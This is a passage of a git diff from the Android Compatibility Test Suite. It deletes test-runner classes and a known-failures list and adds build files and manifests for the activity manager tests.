-
-        return new TestList(classesToRun1);
-    }
-
-    private static List<Class<?>> getClasses(Set<String> classNames) {
-        // Populate the list of classes to run.
-        List<Class<?>> classesToRun = new ArrayList<>();
-        for (String className : classNames) {
-            try {
-                classesToRun.add(Class.forName(className));
-            } catch (ClassNotFoundException e) {
-                throw new IllegalStateException("Could not load class '" + className, e);
-            }
-        }
-        return classesToRun;
-    }
-
-    /**
-     * @param classes The list of classes to run.
-     */
-    public TestList(Collection<Class<?>> classes) {
-        this.classesToRun = classes;
-    }
-
-    public void addIncludeTestPackages(Set<String> packageNameSet) {
-        mIncludedPackages.addAll(packageNameSet);
-    }
-
-    public void addExcludeTestPackages(Set<String> packageNameSet) {
-        mExcludedPackages.addAll(packageNameSet);
-    }
-
-    public void addIncludeTests(Set<String> testNameSet) {
-        mIncludedTests.addAll(testNameSet);
-    }
-
-    public void addExcludeTests(Set<String> testNameSet) {
-        mExcludedTests.addAll(testNameSet);
-    }
-
-    /**
-     * Return all the classes to run.
-     */
-    public Class[] getClassesToRun() {
-        return classesToRun.toArray(new Class[classesToRun.size()]);
-    }
-
-    /**
-     * Return true if the test with the specified name should be run, false otherwise.
-     */
-    public boolean shouldRunTest(String testName) {
-
-        int index = testName.indexOf('#');
-        String className;
-        if (index == -1) {
-            className = testName;
-        } else {
-            className = testName.substring(0, index);
-        }
-        try {
-            Class<?> testClass = Class.forName(className);
-            Package testPackage = testClass.getPackage();
-            String testPackageName = "";
-            if (testPackage != null) {
-                testPackageName = testPackage.getName();
-            }
-
-            boolean include =
-                    (mIncludedPackages.isEmpty() || mIncludedPackages.contains(testPackageName)) &&
-                    (mIncludedTests.isEmpty() || mIncludedTests.contains(className) ||
-                            mIncludedTests.contains(testName));
-
-            boolean exclude =
-                    mExcludedPackages.contains(testPackageName) ||
-                    mExcludedTests.contains(className) ||
-                    mExcludedTests.contains(testName);
-
-            return include && !exclude;
-        } catch (ClassNotFoundException e) {
-            Log.w("Could not load class '" + className, e);
-            return false;
-        }
-    }
-}
diff --git a/tests/core/runner/src/com/android/cts/core/runner/support/AndroidRunnerBuilder.java b/tests/core/runner/src/com/android/cts/core/runner/support/AndroidRunnerBuilder.java
deleted file mode 100644
index 91df2b9..0000000
--- a/tests/core/runner/src/com/android/cts/core/runner/support/AndroidRunnerBuilder.java
+++ /dev/null
@@ -1,82 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.core.runner.support;
-
-import android.support.test.internal.runner.junit3.AndroidJUnit3Builder;
-import android.support.test.internal.runner.junit3.AndroidSuiteBuilder;
-import android.support.test.internal.runner.junit4.AndroidAnnotatedBuilder;
-import android.support.test.internal.runner.junit4.AndroidJUnit4Builder;
-import android.support.test.internal.util.AndroidRunnerParams;
-
-import org.junit.internal.builders.AllDefaultPossibilitiesBuilder;
-import org.junit.internal.builders.AnnotatedBuilder;
-import org.junit.internal.builders.IgnoredBuilder;
-import org.junit.internal.builders.JUnit3Builder;
-import org.junit.internal.builders.JUnit4Builder;
-import org.junit.runners.model.RunnerBuilder;
-
-/**
- * A {@link RunnerBuilder} that can handle all types of tests.
- */
-// A copy of package private class android.support.test.internal.runner.AndroidRunnerBuilder.
-// Copied here so that it can be extended.
-class AndroidRunnerBuilder extends AllDefaultPossibilitiesBuilder {
-
-    private final AndroidJUnit3Builder mAndroidJUnit3Builder;
-    private final AndroidJUnit4Builder mAndroidJUnit4Builder;
-    private final AndroidSuiteBuilder mAndroidSuiteBuilder;
-    private final AndroidAnnotatedBuilder mAndroidAnnotatedBuilder;
-    // TODO: customize for Android ?
-    private final IgnoredBuilder mIgnoredBuilder;
-
-    /**
-     * @param runnerParams {@link AndroidRunnerParams} that stores common runner parameters
-     */
-    // Added canUseSuiteMethod parameter.
-    AndroidRunnerBuilder(AndroidRunnerParams runnerParams, boolean canUseSuiteMethod) {
-        super(canUseSuiteMethod);
-        mAndroidJUnit3Builder = new AndroidJUnit3Builder(runnerParams);
-        mAndroidJUnit4Builder = new AndroidJUnit4Builder(runnerParams);
-        mAndroidSuiteBuilder = new AndroidSuiteBuilder(runnerParams);
-        mAndroidAnnotatedBuilder = new AndroidAnnotatedBuilder(this, runnerParams);
-        mIgnoredBuilder = new IgnoredBuilder();
-    }
-
-    @Override
-    protected JUnit4Builder junit4Builder() {
-        return mAndroidJUnit4Builder;
-    }
-
-    @Override
-    protected JUnit3Builder junit3Builder() {
-        return mAndroidJUnit3Builder;
-    }
-
-    @Override
-    protected AnnotatedBuilder annotatedBuilder() {
-        return mAndroidAnnotatedBuilder;
-    }
-
-    @Override
-    protected IgnoredBuilder ignoredBuilder() {
-        return mIgnoredBuilder;
-    }
-
-    @Override
-    protected RunnerBuilder suiteMethodBuilder() {
-        return mAndroidSuiteBuilder;
-    }
-}
diff --git a/tests/core/runner/src/com/android/cts/core/runner/support/ExtendedAndroidRunnerBuilder.java b/tests/core/runner/src/com/android/cts/core/runner/support/ExtendedAndroidRunnerBuilder.java
deleted file mode 100644
index a2f95e2..0000000
--- a/tests/core/runner/src/com/android/cts/core/runner/support/ExtendedAndroidRunnerBuilder.java
+++ /dev/null
@@ -1,66 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.core.runner.support;
-
-import android.support.test.internal.util.AndroidRunnerParams;
-import android.util.Log;
-import org.junit.runners.model.RunnerBuilder;
-import org.junit.runner.Runner;
-
-/**
- * Extends {@link AndroidRunnerBuilder} in order to provide alternate {@link RunnerBuilder}
- * implementations.
- */
-public class ExtendedAndroidRunnerBuilder extends AndroidRunnerBuilder {
-
-    private static final boolean DEBUG = false;
-
-    private final TestNgRunnerBuilder mTestNgBuilder;
-
-    /**
-     * @param runnerParams {@link AndroidRunnerParams} that stores common runner parameters
-     */
-    public ExtendedAndroidRunnerBuilder(AndroidRunnerParams runnerParams) {
-        super(runnerParams, false /* CTSv1 filtered out Test suite() classes. */);
-        mTestNgBuilder = new TestNgRunnerBuilder();
-    }
-
-    @Override
-    public Runner runnerForClass(Class<?> testClass) throws Throwable {
-      if (DEBUG) {
-        Log.d("ExAndRunBuild", "runnerForClass: Searching runner for class " + testClass.getName());
-      }
-
-      // Give TestNG tests a chance to participate in the Runner search first.
-      // (Note that the TestNG runner handles log-only runs by itself)
-      Runner runner = mTestNgBuilder.runnerForClass(testClass);
-      if (runner == null) {
-        // Use the normal Runner search mechanism (for Junit tests).
-        runner = super.runnerForClass(testClass);
-      }
-
-      logFoundRunner(runner);
-      return runner;
-    }
-
-    private static void logFoundRunner(Runner runner) {
-      if (DEBUG) {
-        Log.d("ExAndRunBuild", "runnerForClass: Found runner of type " +
-            ((runner == null) ? "<null>" : runner.getClass().getName()));
-      }
-    }
-}
diff --git a/tests/core/runner/src/com/android/cts/core/runner/support/package-info.java b/tests/core/runner/src/com/android/cts/core/runner/support/package-info.java
deleted file mode 100644
index 3ccec3c..0000000
--- a/tests/core/runner/src/com/android/cts/core/runner/support/package-info.java
+++ /dev/null
@@ -1,26 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-/**
- * Contains all the changes needed to the {@code android.support.test.internal.runner} classes.
- *
- * <p>As its name suggests {@code android.support.test.internal.runner} are internal classes that
- * are not designed to be extended from outside those packages. This package encapsulates all the
- * workarounds needed to overcome that limitation, from duplicating classes to using reflection.
- * The intention is that these changes are temporary and they (or a better equivalent) will be
- * quickly integrated into the internal classes.
- */
-package com.android.cts.core.runner.support;
diff --git a/tests/expectations/knownfailures.txt b/tests/expectations/knownfailures.txt
deleted file mode 100644
index 08c2a5e..0000000
--- a/tests/expectations/knownfailures.txt
+++ /dev/null
@@ -1,282 +0,0 @@
-[
-{
-  description: "Disable ListeningPortsTest",
-  names: [
-    "android.security.cts.ListeningPortsTest"
-  ],
-  bug: 31803630
-},
-{
-  description: "some AlarmClockTests are not robust across different device types",
-  names: [
-    "android.alarmclock.cts.DismissAlarmTest#testAll",
-    "android.alarmclock.cts.SetAlarmTest#testAll",
-    "android.alarmclock.cts.SnoozeAlarmTest#testAll"
-  ],
-  bug: 23776083
-},
-{
-  description: "the UsageStats is not yet stable enough",
-  names: [
-    "android.app.usage.cts.UsageStatsTest"
-  ],
-  bug: 17536113
-},
-{
-  description: "the ConnectivityConstraintTest are not yet stable",
-  names: [
-    "android.jobscheduler.cts.ConnectivityConstraintTest"
-  ],
-  bug: 18117279
-},
-{
-  description: "tests a fragile by nature as they rely on hardcoded behavior",
-  names: [
-    "android.accessibilityservice.cts.AccessibilityTextTraversalTest#testActionNextAndPreviousAtGranularityPageOverText",
-    "android.accessibilityservice.cts.AccessibilityTextTraversalTest#testActionNextAndPreviousAtGranularityPageOverTextExtend"
-  ],
-  bug: 17595050
-},
-{
-  description: "test fails on some devices",
-  names: [
-    "android.dumpsys.cts.DumpsysHostTest#testBatterystatsOutput",
-    "android.dumpsys.cts.DumpsysHostTest#testGfxinfoFramestats"
-  ],
-  bug: 23776893
-},
-{
-  description: "the SSLCertificateSocketFactoryTest often fails because of lack of live internet or short timeout, it should be refactored to do a local server testing",
-  names: [
-    "android.net.cts.SSLCertificateSocketFactoryTest#testCreateSocket",
-    "android.net.cts.SSLCertificateSocketFactoryTest#test_createSocket_bind",
-    "android.net.cts.SSLCertificateSocketFactoryTest#test_createSocket_simple",
-    "android.net.cts.SSLCertificateSocketFactoryTest#test_createSocket_wrapping"
-  ],
-  bug: 18682315
-},
-{
-  description: "the test result are too much dependent on live-internet connection, which for some devices might not exist",
-  names: [
-    "android.net.wifi.cts.NsdManagerTest#testAndroidTestCaseSetupProperly"
-  ],
-  bug: 18680089
-},
-{
-  description: "AudioPolicyBinder tests are not yet robust enough",
-  names: [
-    "android.security.cts.AudioPolicyBinderTest"
-  ],
-  bug: 18461670
-},
-{
-  description: "test not robust",
-  names: [
-    "android.telecom.cts.ExtendedInCallServiceTest#testAddNewOutgoingCallAndThenDisconnect",
-    "android.telecom.cts.RemoteConferenceTest#testRemoteConferenceCallbacks_ConferenceableConnections"
-  ],
-  bug: 23604254
-},
-{
-  description: "tests too flaky",
-  names: [
-    "android.transition.cts.ChangeScrollTest#testChangeScroll"
-  ],
-  bug: 23779020
-},
-{
-  description: "Not all jdwp features are currently supported. These tests will fail",
-  names: [
-    "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowDebuggerLaunchTest#testDebuggerLaunch001",
-    "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowDebuggerLaunchTest#testDebuggerLaunch002",
-    "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowDebuggerLaunchTest#testDebuggerLaunch003",
-    "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowDebuggerLaunchTest#testDebuggerLaunch004",
-    "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowLaunchDebugger001#testDebugger002",
-    "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowLaunchDebugger002#testDebugger",
-    "org.apache.harmony.jpda.tests.jdwp.Events.ClassUnloadTest#testClassUnloadEvent",
-    "org.apache.harmony.jpda.tests.jdwp.Events.MonitorContendedEnterTest#testMonitorContendedEnterForClassMatch",
-    "org.apache.harmony.jpda.tests.jdwp.Events.MonitorContendedEnteredTest#testMonitorContendedEnteredForClassMatch",
-    "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitTest#testMonitorWaitForClassExclude",
-    "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitTest#testMonitorWaitForClassMatchExact",
-    "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitTest#testMonitorWaitForClassMatchFirst",
-    "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitTest#testMonitorWaitForClassMatchSecond",
-    "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitTest#testMonitorWaitForClassOnly",
-    "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitedTest#testMonitorWaitedForClassExclude",
-    "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitedTest#testMonitorWaitedForClassMatchExact",
-    "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitedTest#testMonitorWaitedForClassMatchFirst",
-    "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitedTest#testMonitorWaitedForClassMatchSecond",
-    "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitedTest#testMonitorWaitedForClassOnly",
-    "org.apache.harmony.jpda.tests.jdwp.ReferenceType.ClassFileVersionTest#testClassFileVersion001",
-    "org.apache.harmony.jpda.tests.jdwp.ReferenceType.NestedTypesTest#testNestedTypes001",
-    "org.apache.harmony.jpda.tests.jdwp.ThreadReference.StopTest#testStop001",
-    "org.apache.harmony.jpda.tests.jdwp.VirtualMachine.HoldEventsTest#testHoldEvents001",
-    "org.apache.harmony.jpda.tests.jdwp.VirtualMachine.ReleaseEventsTest#testReleaseEvents001"
-  ],
-  bug: 16720689
-},
-{
-  description: "test can only run properly on a user build device when the bug is resolved",
-  names: [
-    "android.appwidget.cts.AppWidgetTest#testAppWidgetProviderCallbacks",
-    "android.appwidget.cts.AppWidgetTest#testBindAppWidget",
-    "android.appwidget.cts.AppWidgetTest#testCollectionWidgets",
-    "android.appwidget.cts.AppWidgetTest#testDeleteHost",
-    "android.appwidget.cts.AppWidgetTest#testDeleteHosts",
-    "android.appwidget.cts.AppWidgetTest#testGetAppWidgetIds",
-    "android.appwidget.cts.AppWidgetTest#testGetAppWidgetInfo",
-    "android.appwidget.cts.AppWidgetTest#testGetAppWidgetOptions",
-    "android.appwidget.cts.AppWidgetTest#testPartiallyUpdateAppWidgetViaWidgetId",
-    "android.appwidget.cts.AppWidgetTest#testPartiallyUpdateAppWidgetViaWidgetIds",
-    "android.appwidget.cts.AppWidgetTest#testTwoAppWidgetProviderCallbacks",
-    "android.appwidget.cts.AppWidgetTest#testUpdateAppWidgetViaComponentName",
-    "android.appwidget.cts.AppWidgetTest#testUpdateAppWidgetViaWidgetId",
-    "android.appwidget.cts.AppWidgetTest#testUpdateAppWidgetViaWidgetIds"
-  ],
-  bug: 17993121
-},
-{
-  description: "permissions for the API previously used in the test has changed, making it impossible to pass",
-  names: [
-    "android.openglperf.cts.GlAppSwitchTest#testGlActivitySwitchingFast",
-    "android.openglperf.cts.GlAppSwitchTest#testGlActivitySwitchingSlow"
-  ],
-  bug: 17394321
-},
-{
-  description: "unexpected failures",
-  names: [
-    "android.openglperf.cts.GlVboPerfTest#testVboWithVaryingIndexBufferNumbers"
-  ],
-  bug: 18091590
-},
-{
-  description: "Test is not yet properly implemented",
-  names: [
-    "android.voicesettings.cts.ZenModeTest#testAll"
-  ],
-  bug: 23238984
-},
-{
-  description: "This test failed on devices that use effect off loading. In addition it uses hidden apis",
-  names: [
-    "android.media.cts.AudioEffectTest#test1_1ConstructorFromUuid"
-  ],
-  bug: 17605875
-},
-{
-  description: "This test failed on hw decoder that doesn't output frame with the configured format.",
-  names: [
-    "android.media.cts.ImageReaderDecoderTest#testHwAVCDecode360pForFlexibleYuv"
-  ],
-  bug: 17144778
-},
-{
-  description: "android.keystore tests will replace these tests",
-  names: [
-    "com.android.org.conscrypt.MacTest#test_getInstance_OpenSSL_ENGINE",
-    "com.android.org.conscrypt.NativeCryptoTest#test_ENGINE_by_id_TestEngine",
-    "com.android.org.conscrypt.SignatureTest#test_getInstance_OpenSSL_ENGINE"
-  ],
-  bug: 18030049
-},
-{
-  description: "The new prepare performance test is not yet passing on all devices",
-  names: [
-    "android.hardware.camera2.cts.SurfaceViewPreviewTest#testPreparePerformance"
-  ],
-  bug: 17989532
-},
-{
-  description: "The timing measurements for preview callbacks are not reliable",
-  names: [
-    "android.hardware.cts.CameraTest#testPreviewFpsRange"
-  ],
-  bug: 23008511
-},
-{
-  description: "Light status bar CTS coming in late",
-  names: [
-    "android.systemui.cts.LightStatusBarTests#testLightStatusBarIcons"
-  ],
-  bug: 23427621
-},
-{
-  description: "tests are not yet ready",
-  names: [
-    "com.android.cts.app.os.OsHostTests#testNonExportedActivities"
-  ],
-  bug: 23779168
-},
-{
-  description: "ConnectivityConstraintTest job scheduler not working.",
-  names: [
-     "android.jobscheduler.cts.ConnectivityConstraintTest#testConnectivityConstraintExecutes_withWifi",
-     "android.jobscheduler.cts.ConnectivityConstraintTest#testUnmeteredConstraintExecutes_withWifi",
-     "android.jobscheduler.cts.ConnectivityConstraintTest#testConnectivityConstraintExecutes_withMobile"
-  ],
-  bug: 21262226
-},
-{
-   description: "ConnectivityConstraintTest times out.",
-   names: [
-     "android.jobscheduler.cts.TimingConstraintsTest#testJobParameters_unexpiredDeadline"
-   ],
-   bug: 23144425
-},
-{
-   description: "Video encoding tests are timing out.",
-   names: [
-     "android.media.cts.VideoEncoderTest#testGoogH264FlexArbitraryW",
-     "android.media.cts.VideoEncoderTest#testGoogH264SurfArbitraryW"
-   ],
-   bug: 23827982
-},
-{
-  description: "protected broadcast not working",
-  names: [
-   "android.permission2.cts.ProtectedBroadcastsTest#testSendProtectedBroadcasts"
-  ],
-  bug: 23192492
-},
-{
-  description: "restricted network is not working",
-  names: [
-    "android.net.cts.ConnectivityManagerTest#testRestrictedNetworks"
-  ],
-  bug: 25651805
-},
-{
-  description: "unit testing for MediaPreparer lives within mediastress module",
-  names: [
-    "android.mediastress.cts.preconditions.MediaPreparerTest"
-  ],
-  bug: 25850508
-},
-{
-  description: "Tests for the signature tests should not be in CTS",
-  names: [
-    "android.signature.cts.tests"
-  ],
-  bug: 26150806
-},
-{
-  description: "android.security.cts is using a Non-NDK library, libmedia_jni.so",
-  names: [
-      "android.security.cts.MediaCryptoTest#testMediaCryptoClearKey",
-      "android.security.cts.MediaCryptoTest#testMediaCryptoWidevine"
-  ],
-  bug: 27218502
-},
-{
-  description: "Still investigating this, root cause unknown yet",
-  bug: 27578806,
-  names: ["com.android.cts.cpptools.RunAsHostTest#testRunAs"]
-},
-{
-  description: "Wired headset tests are no longer a requirement per CDD",
-  names: [
-    "android.telecom.cts.WiredHeadsetTest"
-  ],
-  bug: 26149528
-}
-]
diff --git a/hostsidetests/services/Android.mk b/tests/framework/Android.mk
similarity index 100%
rename from hostsidetests/services/Android.mk
rename to tests/framework/Android.mk
diff --git a/hostsidetests/services/Android.mk b/tests/framework/base/Android.mk
similarity index 100%
copy from hostsidetests/services/Android.mk
copy to tests/framework/base/Android.mk
diff --git a/tests/framework/base/activitymanager/Android.mk b/tests/framework/base/activitymanager/Android.mk
new file mode 100644
index 0000000..ee5ff8c
--- /dev/null
+++ b/tests/framework/base/activitymanager/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2015 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests optional
+
+# Must match the package name in CtsTestCaseList.mk
+LOCAL_PACKAGE_NAME := CtsActivityManagerDeviceTestCases
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    cts-amwm-util \
+    cts-display-service-app-util
+
+LOCAL_CTS_TEST_PACKAGE := android.server
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
+
+# Build the test APKs using their own makefiles
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/framework/base/activitymanager/AndroidManifest.xml b/tests/framework/base/activitymanager/AndroidManifest.xml
new file mode 100644
index 0000000..4ca4a5d
--- /dev/null
+++ b/tests/framework/base/activitymanager/AndroidManifest.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.server.cts.am">
+
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
+    <uses-permission android:name="android.permission.MANAGE_ACTIVITY_STACKS" />
+    <uses-permission android:name="android.permission.ACTIVITY_EMBEDDING" />
+
+    <application android:label="CtsActivityManagerDeviceTestCases">
+        <uses-library android:name="android.test.runner" />
+
+        <activity
+            android:name="android.server.am.AspectRatioTests$MaxAspectRatioActivity"
+            android:label="MaxAspectRatioActivity"
+            android:maxAspectRatio="1.0"
+            android:resizeableActivity="false" />
+
+        <activity
+            android:name="android.server.am.AspectRatioTests$MetaDataMaxAspectRatioActivity"
+            android:label="MetaDataMaxAspectRatioActivity"
+            android:resizeableActivity="false">
+            <meta-data
+                android:name="android.max_aspect"
+                android:value="1.0" />
+        </activity>
+
+        <activity
+            android:name="android.server.am.AspectRatioTests$MaxAspectRatioResizeableActivity"
+            android:label="MaxAspectRatioResizeableActivity"
+            android:maxAspectRatio="1.0"
+            android:resizeableActivity="true" />
+
+        <activity
+            android:name="android.server.am.AspectRatioTests$MaxAspectRatioUnsetActivity"
+            android:label="MaxAspectRatioUnsetActivity"
+            android:resizeableActivity="false" />
+
+        <activity android:name="android.server.am.lifecycle.ActivityLifecycleClientTestBase$FirstActivity" />
+
+        <activity android:name="android.server.am.lifecycle.ActivityLifecycleClientTestBase$SecondActivity"/>
+
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests of ActivityManager"
+        android:targetPackage="android.server.cts.am" />
+
+</manifest>
diff --git a/tests/framework/base/activitymanager/AndroidTest.xml b/tests/framework/base/activitymanager/AndroidTest.xml
new file mode 100644
index 0000000..1542706
--- /dev/null
+++ b/tests/framework/base/activitymanager/AndroidTest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS ActivityManager test cases">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck"/>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsActivityManagerDeviceTestCases.apk" />
+        <option name="test-file-name" value="CtsDeviceServicesTestApp.apk" />
+        <option name="test-file-name" value="CtsDeviceServicesTestSecondApp.apk" />
+        <option name="test-file-name" value="CtsDeviceServicesTestThirdApp.apk" />
+        <option name="test-file-name" value="CtsDeviceDebuggableApp.apk" />
+        <option name="test-file-name" value="CtsDeviceDisplaySizeApp.apk" />
+        <option name="test-file-name" value="CtsDevicePrereleaseSdkApp.apk" />
+        <option name="test-file-name" value="CtsDisplayServiceApp.apk" />
+        <option name="test-file-name" value="CtsDeviceTranslucentTestApp.apk" />
+        <option name="test-file-name" value="CtsDeviceTranslucentTestApp26.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+        <option name="package" value="android.server.cts.am"/>
+        <option name="runtime-hint" value="1h"/>
+    </test>
+</configuration>
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/Android.mk b/tests/framework/base/activitymanager/app/Android.mk
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/Android.mk
rename to tests/framework/base/activitymanager/app/Android.mk
diff --git a/tests/framework/base/activitymanager/app/AndroidManifest.xml b/tests/framework/base/activitymanager/app/AndroidManifest.xml
new file mode 100755
index 0000000..2bed053
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/AndroidManifest.xml
@@ -0,0 +1,410 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
+          package="android.server.am">
+
+    <!-- virtual display test permissions -->
+    <uses-permission android:name="android.permission.CAPTURE_VIDEO_OUTPUT" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.BIND_VOICE_INTERACTION" />
+
+    <application>
+        <activity android:name=".TestActivity"
+                android:resizeableActivity="true"
+                android:supportsPictureInPicture="true"
+                android:exported="true"
+        />
+        <activity android:name=".TestActivityWithSameAffinity"
+                android:resizeableActivity="true"
+                android:supportsPictureInPicture="true"
+                android:exported="true"
+                android:taskAffinity="nobody.but.PipActivitySameAffinity"
+        />
+        <activity android:name=".TranslucentTestActivity"
+                android:resizeableActivity="true"
+                android:supportsPictureInPicture="true"
+                android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+                android:theme="@style/Theme.Transparent" />
+        <activity android:name=".VrTestActivity"
+                android:resizeableActivity="true"
+                android:exported="true"
+        />
+        <activity android:name=".ResumeWhilePausingActivity"
+                android:allowEmbedded="true"
+                android:resumeWhilePausing="true"
+                android:taskAffinity=""
+                android:exported="true"
+        />
+        <activity android:name=".ResizeableActivity"
+                android:resizeableActivity="true"
+                android:allowEmbedded="true"
+                android:exported="true"
+                android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density"
+        />
+        <activity android:name=".NonResizeableActivity"
+                android:resizeableActivity="false"
+                android:exported="true"
+        />
+        <activity android:name=".DockedActivity"
+                android:resizeableActivity="true"
+                android:exported="true"
+                android:taskAffinity="nobody.but.DockedActivity"
+        />
+        <activity android:name=".TranslucentActivity"
+            android:theme="@android:style/Theme.Translucent.NoTitleBar"
+            android:resizeableActivity="true"
+            android:taskAffinity="nobody.but.TranslucentActivity"
+            android:exported="true"
+        />
+        <activity android:name=".DialogWhenLargeActivity"
+                android:exported="true"
+                android:theme="@android:style/Theme.DeviceDefault.Light.DialogWhenLarge"
+        />
+        <activity android:name=".NoRelaunchActivity"
+                android:resizeableActivity="true"
+                android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|fontScale"
+                android:exported="true"
+                android:taskAffinity="nobody.but.NoRelaunchActivity"
+        />
+        <activity android:name=".SlowCreateActivity"
+                android:resizeableActivity="true"
+                android:exported="true"
+        />
+        <activity android:name=".LaunchingActivity"
+                android:resizeableActivity="true"
+                android:exported="true"
+                android:taskAffinity="nobody.but.LaunchingActivity"
+        />
+        <activity android:name=".AltLaunchingActivity"
+                android:resizeableActivity="true"
+                android:exported="true"
+                android:taskAffinity="nobody.but.LaunchingActivity"
+        />
+        <activity android:name=".PipActivity"
+                android:resizeableActivity="false"
+                android:supportsPictureInPicture="true"
+                android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+                android:exported="true"
+                android:taskAffinity="nobody.but.PipActivity"
+        />
+        <activity android:name=".PipActivity2"
+                  android:resizeableActivity="false"
+                  android:supportsPictureInPicture="true"
+                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+                  android:exported="true"
